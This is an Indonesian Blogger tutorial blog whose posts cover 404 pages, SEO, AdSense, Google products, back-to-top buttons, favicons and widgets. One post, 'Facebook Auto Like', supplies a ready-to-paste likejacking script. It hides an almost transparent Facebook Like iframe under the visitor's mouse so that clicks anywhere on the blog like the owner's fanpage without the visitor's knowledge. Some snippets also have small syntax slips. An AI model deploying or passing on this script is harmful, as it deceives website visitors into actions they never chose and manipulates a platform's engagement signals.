Hobby Klik: Blog

Showing posts with label Blog. Show all posts

Wednesday, June 1, 2016

Membuat Halaman Error Yang Unik di Blog

Membuat Halaman Error 404 - Oke sobat masih di seputaran blog,kali ini Hobby Klik akan membahas Pembuatan Halaman Error Yang Unik. Kita akan membuatnya dengan menggunakan Tag Kondisional, karena dengan Tag Kondisional pengerjaannya akan lebih gampang.

Pertama kali kita harus membungkus halaman yang tidak tampil di halaman error.

Berikut Caranya:

HTML<body>
  <b:if cond="data:blog.pageType != &quot;error_page&quot;">
  ... Daerah ini berisi bagian-bagian utama dalam sebuah blog seperti main-wrapper, sidebar-wrapper, hingga footer-wrapper. Daerah ini akan diabaikan karena kita berada di dalam kondisi pengingkaran. ...
  </b:if>
  <b:if cond="data:blog.pageType == &quot;error_page&quot;">
    <div id="container-error">
    <div id="error-page">
      Tuliskan sesuatu di sini. Bagian ini hanya akan tampil saat halaman tidak ditemukan.
    </div>
    </div>
  </b:if>
</body>

Nah sisanya sobat tinggal mengganti tulisan yang merah diatas dengan tulisan yang sobat inginkan. Dan sisanya kita akan mempercantik tampilan halaman Error tersebut dengan kode CSS.

CSS/* CSS Error by Arlina Design */
#container-error{text-align:center;z-index:99999;width:100%;height:100%;position:fixed;top:0;right:0;bottom:0;left:0;padding:0;background-color:#3498db;color:#fff;font-size:3rem;font-weight:700}
#container-error h3,#container-error h4{display:block;text-align:center;margin-bottom:30px;font-size:2rem;font-weight:700;color:#aaa}
#container-error h3{margin-top:30px}
#error-page{position:relative;max-width:920px;margin:6% auto;line-height:normal}

Begitulah kira-kira tutorial dari Hobby Klik untuk membuat halaman error menjadi unik atau menjadi cantik.

Selamat Mencoba

Tuesday, May 31, 2016

Tutorial untuk Facebook Auto Like di Blog

Facebook Auto Like di Blog - Oke sobat, ketemu lagi dengan Hobby Klik. Kita masih di seputaran blog. Kali ini saya akan membahas cara/tutorial memasang facebook auto like di blog.

Facebook salah satu situs yang paling banyak diminati semua orang, jadi dengan bertumbuhnya minat itu fanpage di facebook juga semakin bertambah. Tapi permasalahannya adalah jumlah like kita jauh lebih sedikit dari jumlah pertemanan kita.

Jadi kita akan membuat script autolike fanpage facebook

Oke kita langsung ke Topiknya sobat.

Cara Kerja Script Auto Like Yang Terbaru

Bila Pengunjung blog sobat sedang dalam kondisi login facebook, maka otomatis akan me Like asal pengunjung melakukan klik apapun di dalam blog sobat.
Bila pengunjung blog sobat tidak dalam kondisi login facebook, dan pengunjung melakukan klik di blog sobat, maka akan muncul popup halaman login facebook.

Cara Masang Facebook Auto Like di Blog

1. Login ke Blogger>buka Template>klik Edit HTML>letakkan kode dibawah ini tepat di atas kode </body>

JS<script type='text/javascript'>
//<![CDATA[
// Facebook
var fan_page_url="https://www.facebook.com/jevandamanik",opacity=.01,time=15e3;(document.getElementById&&window.addEventListener||window.attachEvent)&&!function(){function e(e){var t,n;return h?(t=d.pageYOffset,n=d.pageXOffset):(t=d.scrollTop,n=d.scrollLeft),0==e?t:n}function t(t){var n=h?window.pageYOffset:0;t||(t=window.event),"number"==typeof t.pageY?(r=t.pageY-15-n,l=t.pageX-34):(r=t.clientY-16-n,l=t.clientX-36),u.top=r+e(0)+s,u.left=l+s}function n(){u.top=r+e(0)+s,setTimeout(n,300)}function o(){u=document.getElementById("theiframe").style,n()}function i(e){var t=document.cookie,n=t.indexOf(" "+e+"=");if(-1==n&&(n=t.indexOf(e+"=")),-1==n)t=null;else{n=t.indexOf("=",n)+1;var o=t.indexOf(";",n);-1==o&&(o=t.length),t=unescape(t.substring(n,o))}return t}function a(e,t,n){var o=new Date;o.setDate(o.getDate()+n);var i=escape(t)+(null==n?"":"; expires="+o.toUTCString());document.cookie=e+"="+i}var d,m,c=document,r=-10,l=-10,u="",p=(document.getElementsByTagName("div").length,"<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href="+encodeURIComponent(fan_page_url)+"&amp;layout=stsobatrd&amp;show_faces=true&amp;width=80&amp;action=like&amp;colorscheme=light&amp;height=30' style='position:absolute;width:53px;height:30px;z-index: 200000;overflow:hidden;border:0;opacity:"+opacity+";filter:alpha(opacity="+100*opacity+");'></iframe>"),f=i("faceLike");null!=f&&""!=f||(a("faceLike","liked",1),document.write(p),m=document.getElementById("theiframe"),document.getElementsByTagName("body")[0].appendChild(m));var s="px",w="number"==typeof window.innerWidth,h="number"==typeof window.pageYOffset;w?d=window:c.documentElement&&"number"==typeof c.documentElement.clientWidth&&0!=c.documentElement.clientWidth?d=c.documentElement:c.body&&"number"==typeof c.body.clientWidth&&(d=c.body),0!=time&&setTimeout(function(){document.getElementsByTagName("body")[0].removeChild(m),window.addEventListener?document.removeEventListener("mousemove",t,!1):window.attachEvent&&document.detachEvent("onmousemove",t)},time),window.addEventListener?(window.addEventListener("load",o,!1),document.addEventListener("mousemove",t,!1)):window.attachEvent&&(window.attachEvent("onload",o),document.attachEvent("onmousemove",t))}();
//]]>
</script>

2. Ganti kode yang warna merah dengan alamat fanpage facebook sobat. Kemudian simpan Template.

Oke sobat begitulah kira-kira turorial dari Hobby Klik untuk Memasang facebook auto like di blog.

Semoga bermanfaat.

Saturday, May 28, 2016

Apa itu SEO?

Apa itu SEO?- Oke sobat masih diseputaran blog, Hobby Klik kali ini akan mebahas pengertian SEO, mungkin yang sudah berkecimpung di dunia blogger pasti sudah sangat jelas mengetahui apa itu SEO. Tapi bagi pemula yang baru merintis dunia blogger masih awam dengan SEO, sama seperti saya yang harus banyak belajar untuk satu ini. Tapi tidak perlu cemas, karena yang dibutuhkan untuk mempelajari yang satu ini adalah ketelitian dan kemauan.

PENGERTIAN SEO:

SEO adalah Search Engine Optimization yang biasa disingkat SEO. Kita akan membuat proses rangkaian sistematis untuk meningkatkan pencarian situs kita di mesin pencarian, agar situs kita muncul/tampil di halaman pertama di mesin pencari.

Dengan kata lain, semakin bagus SEO kita akan semakin besar peluang kita muncul di halaman pertama. Jadi tidak salahnya kita belajar SEO sebelum kita benar-benar akan terjun ke dunia blogger, walaupun sudah banyak jasa yang menyediakan untuk SEO tidak ada salahnya kita belajar.

Thursday, May 26, 2016

Apakah Blogspot Bisa Memakai Google Adsense Yang Di Daftar Dari Youtube?

Memakai Google Adsense Dari Youtube Untuk Blogspot - Awalnya juga saya tidak tau kalau kebijakkan google sudah berubah untuk google adsense yang di daftar dari youtube. Saya juga pernah mencoba mengkaitkan google adsense yang saya daftar di youtube untuk dipakai di blogspot, Tapi ternyata tidak bisa. Tapi bagi kalian yang sudah punya akun google adsense dari youtube seperti saya tidak perlu berkecil hati, karena kalian masih bisa memakainya di blog tapi yang domainnya sudah dimodifikasi ke TDL, seperti .com, .net, .id, .org dll. Tapi sebenarnya tetap saja kalian harus menunggu review dari google untuk kelayakkan blog sobat, tapi peluangnya besar akan disetujui.

Google Adsense yang sobat daftarkan dari youtube adalah adsense yang Hosted. Ada 2 jenis google adsense:

1. Google Adsense Hosted

2. Google Non-Hosted

Perbedaan dari 2 jenis akun ini adalah dari segi pendapatannya. Sobat akan mendapatkan pendapatannya 68% kalau menggunakan akun Hosted, Sedangkan yang Non-hosted sobat akan mendapatkan 100%.

Jadi kesimpulannya adalah bila sobat mau memakai Adsense di blogspot sobat harus mendaftar ulang melalui blogspot juga, kecuali seperti yang saya jelaskan dia atas. Saya daftar ulang kembali karena saya belum mempunyai uang untuk memodifikasi Domain,he...he...he...

Oke sobat itulah penjelasan singkatnya, Semoga bisa Bermanfaat.

Produk-Produk Milik Google, Apa saja?

Produk-produk Milik Google - Oke sobat, Ketemu lagi dengan saya. Kali ini Hobby Klik akan menulis Artikel yang berhubungan dengan Poduk Google. Sebelumya apa itu google? Saya yakin sebagian besar masyarakat mengetahui apa itu google, Karena saya melihat masyarakat sudah sangat tergantung dengan google, seperti hal untuk mencari informasi. Karena google mempunyai database yang lengkap untuk semua informasi yang dicari. Google adalah mesin pencari sangat besar dibanding dengan mesin pencari sejenisnya, seperti yahoo, Bing, Ask, Aol dan lain sebagainya.

Tapi tidak sedikit masyarakat yang tau bahwa google memiliki produk-produk yang bagus atau sangat berguna untuk kita. Dan pada kesempatan ini, Hobby Klik akan membahas dengan singkat produk-produk milik google yang bisa berguna untuk kita.

Berikut Produknya :

1. Google Trend

Layanan google yang satu ini bermanfaat untuk melihat perkembangan trend yang sedang terjadi. Kegunaanya sobat bisa menggunakan keyword-keyword yang sedang menjadi trrend dalam penulisan artikel blog sobat.

2. Google Translate

Kalau yang satu ini saya yakin sobat pasti mengetahuinya. Ya, sesuai dengan namanya. Produk ini bertujuan untuk mentranslate semua bahasa yang kita inginkan. Produk ini sangat berguna bagi semua orang terlebih untuk pelajar.

3. Google Toolbar

Produk yang satu ini bersinergi dengan produk google lainya yaitu google chrome. Fungsi produk ini adalah untuk menambahkan extension pada browser. Agar kita lebih efesien waktu pencarian dan untuk keperluan tulisan blog sobat.

4. Google Talk

Produk ini adalah aplikasi messenger keluaran google yang berguna untuk berkomunikasi dengan teman yang memiliki google talk juga. Gtalk ini juga berinterigasi ke dalam Gmail dan iGoolge baik itu fitur chat, voice, video melalui konektifitas internet protocol.

5. Google Search

Nah kalau yang satu ini tidak perlu dijelaskan lagi, karena sobat sudah pasti mengetahuinya dengan jelas.

6. Google Reader

Fungsi produk ini sebenarnya untuk mereka yang sangat senang BLOG, karena produk ini berfungsi untuk melihat artikel/berita dari sebuah blog tanpa perlu membuka blog tersebut. Kita akan menerima artikel/berita secara otomatis bila blog yang kita daftarkan ke google reader itu menulis artikel/berita yang baru.

7. Google News

Ini juga produk yang berguna untuk mencari berita sesuai dengan kategori yang kita inginkan dengan cara memfilternya.

8. Google Images

Kalau yang satu produk satu ini saya gunakan untuk mencari foto/gambar untuk blog saya. Kegunaannya hampir sama dengan Filckr dan picasa.

9. Google Maps

Sesuai dengan judulnya, Produk ini berfungsi untuk melihat peta. Dan kalau untuk pengguna blog produk ini sangat berguna jika tulisannya/artikelnya membutuhkan informasi suatu daerah.

10. Google Docs

Produk ini memiliki fungsi untuk pengolah kata, spreadsheet, dan persentasi berbasis web gratis dari google. Produk ini membantu sobat membuat dokumen secara onine baik secara individu atau sebuah goup.

11. Google Friend Connect

Bagi pengguna blog, produk ini berfungsi untuk membangun komunitas dengan pembaca blog sobat.

12. Google Custom Search

Ini biasanya di pakai untuk halaman blog, agar di blog sobat ada mesin pencari dan sobat tidak perlu lagi keluar blog, bila ingin mencari informasi di mesin pencari.

13. Google Desktop

Fungsi produk google ini adalah untuk memudahkan sobat untuk mengakses seluruh layanan google dari desktop sobat.

14. Google Calendar

Fungsi produk ini mengatur jadwal dan event-event apa saja. Produk ini berintegrasi ke dalam gmail. Bagi sesorang yang mempunya jadwal ketat, produk ini sangat berguna untuk organizer secara online, karena bisa dishare kepada teman-teman.

15. Google Chrome

Ini adalah browser open source milik google yang saya rasa sangat powerfull dibandingkan dengan pesaingnya, karena kegunaannya sangat komplit dan berintegrasi dengan layanan google lainnya.

16. Google Blog Search

Produk ini berfungsi untuk khusus mencari blog. Dengan produk ini sobat bisa mencari blog-blog yang isinya lebih relevan dengan tema blog sobat atau sebatas mencari informasi. Biasanya produk ini saya gunakan untuk mencari sumber-sumber yang menginspirasi saya.

17. Google Boomarks

Produk ini adalah layanan boomarks online yang gratis bagi pemegang akun google. Dengan ini sobat bisa membuat boomarks lebih rapi, tapi boomarks besutan google ini tidak bisa dishare dan hanya kita bisa melihatnya.

18. Google Alerts

Fungsi Produk ini untuk memberikan kita update-update email dari topic apa yang kita pilih. Contohnya, bila sobat ingin mendapatkan alerts dari seputar an blooging, Google alerts akan mengirimkan email kepada anda.

19. Google Analytics

Fungsi produk ini untuk memantau blog sobat lebih detail. Dengan produk ini sobat bisa mendapatkan statistik pengunjung dengan lengkap. Dan sobat bisa melihat trafik dari blog sobat agar kita bisa melihat peminat pengunjung blog.

20. Feedburner

Fungsi ini untuk mengoranisir RSS feed dan subscriber dari blog sobat. Singkatnya produk ini berfungsi melihat berapa banyak yang sudah subscriber blog kita.

21. Gmail

Dengan membacanya saja sobat sudah pasti tau fungsi dan kegunaannya.

22. iGoogle

Fungsinya untuk mempercantik homepage dari browser sobat.

23. Blogger

Pasti sobat sudah tau apa itu blogger. Saya rasa blooger sudah sangat terkenal dan bersaing dengan wordpress.

24. Google Code

Inilah adalah tempat dimana para progammers mendistribusikan aplikasi open source mereka. Sobat bisa menumukan begitu banyak source code untuk membantu kamampuan coding blog sobat.

25. Picasa

Ini layanan photo sharing layaknya seperti Flickr. Dan penggunaannya sangat mudah.

26. Google WebmasterTools

Produk ini hampir mirip dengan google anaytics, tapi webmaster tools memiliki fungsi untuk menganalisa SEO blog kita.

27. Youtube

Nah yang ini tidak diragukan lagi, semua masyarakat pasti pernah merasakan produk ini. Bagi mereka yang blooger, produk sangat berguna karena kita bisa mendapatkan hosting video secara cuma-cuma.

28. Google Groups

Fungsinya untuk membangun sebuah komunitas. Produk ini sama seperti milik yahoo.

29. Google Adsense

Produk ini untuk menangani iklan yang kita pasang di situs atau youtube. Google adsense adalah layanan pay-per-click. Jika kita dijinkan kita memonetisasi situs atau youtube sobat.

30. Google Adwords

Ini kebalikan dari google adsense, disini kita yang akan meminta memasang iklan kita di jaringan advertising google. Biasanya itu digunakan oleh orang atau perusahaan untuk menawarkan produk/jualan mereka.

Oke sobat,itu lah produk-produk milik google. Saya harap kita bisa menfaatkan produk-produk mereka dengan sebaik-baiknya. Khusus produk Google Adsense, Hobby Klik akan membahasnya lebih mendalam lagi di artikel selanjutnya.

Monday, May 23, 2016

Cara Memasang Back To Top di Blog

Memasang Smooth Back To Top - Mungkin sobat sudah banyak membaca turorial memasang smooth back to top di internet. Kali ini Hobby Klik akan membahas kembali.

Fungsi dari tombol back to top ini bagi saya sangat membantu, karena saya tidak akan lagi capek untuk scroll mouse untuk kembali ke posisi awal, dan kita hanya perlu meng 'KLIK' satu tombol saja sobat.

Berikut cara pemasangannya:

1. Login ke blog sobat, masuk ke Template>Ke Edit HTML.

Simpan kode dibawah ini setelah <head> atau sebelum </head>

<link href ='https://macdb.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css' rel='stylesheet'/>

2. Simpan CSS dibawah ini sebelum ]]></skin> atau </style>

.smoothscroll-top {
position:fixed;
opacity:0;
visibility:hidden;
overflow:hidden;
text-align:center;
z-index:99;
background-color:#2ba6e1
color:#fff;
width:47px;
height:44px;
line-height:44px;
right:25px;
bottom:-25px;
padding-top:2px;
border-radius:5px;
transition:all 0.5s ease-in-out;
transition-delay:0.2s;
}
.smoothscroll-top:hover; {
background-color:#3eb2ea;
color:#fff;
transition:all 0.2s ease-in-out
transition-delay:0s;
}
.smoothscroll-top.show {
visibility:visible;
cursor:pointer;
opacity:1;
bottom:25px;
}
.smoothscroll-top i.fa {
line-height:inherit;
}

3. Simpan jQuery dan HTML dibawah ini sebelum </body>

<div class="smoothscroll-top">
<span class="scroll-top-inner">
<i class="fa fa-2x fa-arrow-circle-up"></i>
</span>
</div>
<script type='text/javascript'>
//<![CDATA[
$(function(){

$(document).on( 'scroll', function(){

if ($(window).scrollTop() > 100) {
$('.smoothscroll-top').addClass('show');
} else {
$('.smoothscroll-top').removeClass('show');
}
});

$('.smoothscroll-top').on('click', scrollToTop);
});

function scrollToTop() {
verticalOffset = typeof(verticalOffset) != 'undefined' ? verticalOffset : 0;
element = $('body');
offset = element.offset();
offsetTop = offset.top;
$('html, body').animate({scrollTop: offsetTop}, 600, 'linear');
}
//]]>

</script>

4. Setelah itu simpan template, dan sobat bisa melihat hasilnya.

Oke itulah kira-kira tutorial memasang back to top pada sebuah blog dari Hobby Klik, Semoga bisa bermanfaat bagi sobat-sobat semua.

Sunday, May 22, 2016

Cara Membuat Contact Form Di Halaman Statis

Cara Membuat Halaman Form Kontak Di Blogger.- Oke sobat, kita masih di seputaran blog. Kali ini Hobby Klik akan membahas tantang cara membuat halaman form kontak/contact us. Contact us/form kontak sangatlah penting di dalam sebuah blog, kenapa? jawabannya Agar pengunjung bisa dengan cepat menghubungi anda dengan notifikasi yang akan dikirim kepada yang empunya blog. Dan alasan lainnya adalah, Contact us harus dibuat agar bila sobat mau mendaftar google adsense ini adalah salah satu syaratnya.

Oke sobat kita langsung saja ke TKP biar sobat tidak penasaran. Tapi sebelum itu saya mau mengatakan bahwasanya blogger sudah memberikan widget berupa form contact, tapi sayangnya widget ini hanya bisa ditempelkan di layout yang ada. Jadi sobat tidak bisa membuat di halaman statis. Dan disini Hobby Klik akan memberikan tips untuk memodifikasi widget itu agar bisa muncul di halaman statis.

LANGKAH-LANGKAHNYA:

Karena secara default contact form ini hanya bisa digunakan di widget, Kita akan memodifikasi agar bisa menampilkannya di halaman statis.

1. Buka blog sobat.

2. Ke Tata letak>Add gadget>Contact form

Setelah kita menambahkan widget saatnya kita untuk memodifikasi.

1. Masuk ke Halaman>Buat Halaman Baru>Pilih HTML
2. Dan copy kan kode dibawah ini kedalam halaman.

Dan sobat Publish, lihat apa yang terjadi.

Oia, Sobat bisa belajar menggunakan Bootstrap, Kalau sobat ingin mempercantik tampilan contact form nya. Hobby Klik akan membahas "Cara Menggunakan Bootstrap" di artikel/tips dan trik berikutnya.

Oke sobat, kira-kira seperti itulah tutorial dari Hobby Klik untuk membuat Contact Form/Contact Us di halaman statis.
SEMOGA BERMANFAAT.

Saturday, May 21, 2016

Cara Gampang Membuat Halaman Statis Menjadi Full

Cara Membuat Halaman Statis Full Width. Oke sobat, kita masih di seputaran blog. Coba sobat lihat judul artikelnya. oke inilah maksudnya. Maksud halaman statis full width disini adalah menjadikan halaman statis/static page menjadi satu halaman penuh khusus untuk halaman statis saja. Jadi kita harus menghilangkan sidebar atau widget yang ada di samping blogger sobat.

Sebenarnya caranya mudah-mudah gampang sobat, hehehe....gampangnya adalah bahwasanya kode nya sudah banyak bertebaran di internet, nah susahnya adalah kita harus menyesuaikan ID widget template kita, karena setiap template itu berbeda ID widgetnya.

Ini lah contoh halaman statis yang full width:

Oke sobat kita langsung saja ke tutorialnya tanpa basa-basi karena cinta yang bertepuk sebelah tangan akan basi, hahaha.....bercanda sedikit sobat karena kopi saya sudah habis.

1. Buka blog sobat.

2. Pilih halaman statis yang mana akan diubah ke halaman full.

3. Kalau sobat sudah menentukan halamanya. Buka halamanya, pilih HTML

4. Dan sobat copy kan kode dibawah ini.

5. Dan sobat publikasikan, lihat apa yang terjadi.

NB: (keterangan)

#sidebar-wrapper = Adalah ID widget sidebar, kalau kode diatas tidak bekerja coba sobat cari ID widget sobat. Biasanya.

#comments = menghilangkan kolom komen di halaman statis. Tapi kalau sobat mau menampilkan kolom komentarnya, cukup hapus aja kode #comments nya.

#post-wrapper = Membuat halaman posting menjadi full, dan sesuaikan ID widget sobat seandainya kodenya tidak bekerja.

Oke sobat itulah kira-kira cara/tutorial membuat halaman statis menjadi full. Semoga bermanfaat.

Friday, May 20, 2016

Tutorial Memasang Favicon Pada Blog

Oke sobat ketemu lagi di artikel seputaran blog, kali ini saya akan membahas cara memasang favicon di blog.

Setiap website/blog pasti mempunyai favicon, kenapa? karna favicon itu bisa jadi simbol sebuah website/blog yang membedakan setiap website/blog. Website/blog yang profesional pasti mempunyai favicon.

Jadi kalau kita membuat sebuah favicon untuk blog kita, buatlah favicon yang semenarik mungkin.

Sebelum kita ke TKP, saya jelaskan apa itu favicon? favicon adalah icon/gambar yang muncul di pojok kiri address bar browser sobat.

Oke kita langsung ke langkah-langkahnya:

Sobat bisa kunjungi situs INI
Pada create a Favicon from any picture, klik Browser.

3. Kemudian klik "Generate Favicon.ico"

4. Kemudia upload foto tersebut dengan hosting sobat, atau sobat bisa menguploadnya di

blogger, setelah itu sobat bisa ambil url nya.

Setelah sobat sudah membuat favicon, kini saatnya memasangnya di blog sobat. Nah salam pemasangan favicon di blog ada 2 cara:

1, Sobat login ke blog

2. Pilih TATA LETAK

3. Klik edit di bagian favicon.

4. Klik "browse" kalau sobat sudah upload terus simpan.

Cara Kedua:

1. Login ke blog sobat.

2. Masuk ke TEMPLATE>>>EDIT HTML

3. Tambahkan kode di bawah ini tepat di atas </head>

<link href='URL ICON' rel='icon' type='image/gif'>

4. Ganti URL ICON dengan url atau link gambar yang sobat upload tadi.

5. Simpan Template.

Buka blog sobat, lihat apa yang terjadi...

Oke seperti itulah kira-kira tutorial/cara memasang favicon pada sebuah blog, semoga ini bermanfaat kepada sobat-sobat semua.

SELAMAT MENCOBA

Thursday, May 19, 2016

Cara Memasang Widget Di Blog

Hai....hai.....selamat malam sobat, kali ini kita masih di seputaran blog, topik kita malam ini adalah memasang/membuat widget di blog.

Mungkin bagi para master-master blog hal semacam ini sudah tutup mata melakukannya, tapi bagi newbie itu adalah hal yang masih membingungkan, Sama seperti saya, Saya masih newbie banget jadi masih harus banyak belajar.

Oke, Widget di Blogger.com itu disebut dengan gadget yang merupakan sebuah konten di blog selain postingan di blog itu sendiri. Widget biasanya diletakkan di sidebar blog.

Widget di dalam blog bisa dipasang, dicopot atau dipindah-pindahkan sesuai dengan keinginan kita. Selain itu widget ini sifatnya opsional, gak harus dipasang di blog. Jadi sobat bisa buat blog tanpa harus adanya widget.

Untuk memasang widget di sebuah blog sangat gampang hanya bermodalkan mouse,,,hehehe...tapi kalau kita mau merubah sedikit tampilan widget kita harus memerlukan keyboard untuk mengetik.

Berikut adalah langkah-langkahnya:

Pertama sobat login dulu ke blog sobat dan masuk ke dashboard.
Setelah login kita masuk ke TATA LETAK.
Oke disini sobat bisa menambahkan widget dengan mengklik TAMBAH GADGET

Di blogger.com sudah disediakan beberapa widget yang siap dipasang, tapi itu bukan wajib dipasang lho sobat. Sobat cukup milih widget apa saja yang sobat butuhkan.

Kebanyakkan blogger pemula beranggapan bahwasanya semakin banyak widget di blog akan semkain keren tapi malah sebaliknya.

Semakin sedikit widget di blog kita akan semakin bagus. Alasanya semakin banyak memasang widget akan membuat pengunjung bingung, selain itu akan mebuat blog menjadi lambat apabila dibuka.

Berikut ini adalah widget-widget yang saya sarankan:

Widget entri populer
Widget Label
Widget arsip
Widget Profil

Selain widget-widget tersebut ada satu widget yang paling sering digunakan blogger adalah widget HTML/JAVASCRIPT.

Oke sobat itulah cara untuk memasang widget di blog khususnya di blogger.com. Sampai jumpa di artikel atau tips dan trik berikutnya.

SEMOGA BERMANFAAT.

Memasang Tombol Join This Site Di Blogspot Tanpa Foto Followers

Halooo....sobat, kembali lagi ke rutinitas seputaran blog. Oke kali ini saya akan membagikan tips dan trik seputaran blog yaitu "Memasang tombol join this site tanpa foto followers di blog".

Oiaaa....sebelum kita ke topik utama, pasti kalian sudah familiar dengan kata "FOLLOW" apalagi kalau sobat sangat aktif di twitter, Blog juga punya sistem yang sama dengan twitter.

Oke tanpa basi-basi kita langsung ke TKP....

Pertama login ke blog punya sobat.
Masuk ke Dashboard>>>Tata letak>>>Klik tanbah gadget>>>Gadget lainya.

Dan selanjutnya copy code di bawah ini ke widget HTML/Javascipt

Ganti angka berwarna merah di atas dengan ID blog sobat.
Publish, dan lihat hasilnya.

Oke sobat itulah tips dan triknya untuk memunculkan tombol join this site tanpa foto followers di blog sobat.

SELAMAT MENCOBA

Hobby Klik